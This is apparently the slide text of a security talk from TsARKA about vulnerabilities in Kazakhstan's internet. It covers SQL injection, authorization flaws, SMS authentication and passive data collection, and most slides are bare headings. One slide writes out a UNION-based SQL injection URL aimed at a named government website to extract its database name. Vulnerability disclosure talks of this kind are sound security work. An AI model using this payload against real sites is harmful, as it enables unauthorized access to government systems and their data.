Батыржан Тютеев (Казахстан), ЦАРКА. Уязвимости Казнета

1. b4tr
“Уязвимый kaznet”

2. SQL-injection

3. SQL-injection
http://almaty.gov.kz/page.php/' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,CONCAT(database()),NULL,NULL-- -

5. ’
15 символов

7. Проблемы механизма авторизации

11. тут ты должен включить
видосик

13. SMS - аутентификация или что-то типо того

18. Пассивный сбор данных
citizen_1.py
citizen_2.py

21. Вопросы?

22. СПАСИБО
ЗА ВНИМАНИЕ!